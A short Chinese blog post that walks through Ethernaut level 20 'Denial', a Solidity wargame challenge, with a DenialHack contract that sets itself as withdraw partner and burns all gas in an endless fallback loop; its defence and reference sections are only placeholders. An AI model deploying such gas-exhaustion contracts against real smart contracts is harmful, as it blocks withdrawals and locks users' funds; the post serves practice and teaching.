# 智能合约黑客攻击 Ethernaut: 20. Denial **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-28 **URL:** https://paragraph.com/@leekdev/ethernaut-20-denial ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目阻止其他人调用 withdraw() 方法。Hack思路给owner转钱之前会给 partner 转,可以在 partner 合约中的 receive() 中把 Gas 耗光。interface IDenial { function setWithdrawPartner(address _partner) external; } contract _loop { } contract DenialHack { constructor(address _target) { IDenial exploitInst = IDenial(_target); exploitInst.setWithdrawPartner(address(this)); } fallback() external payable { // 死循环去耗光 Gas while (true) new _loop(); } } Hack案例…防范思路…参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter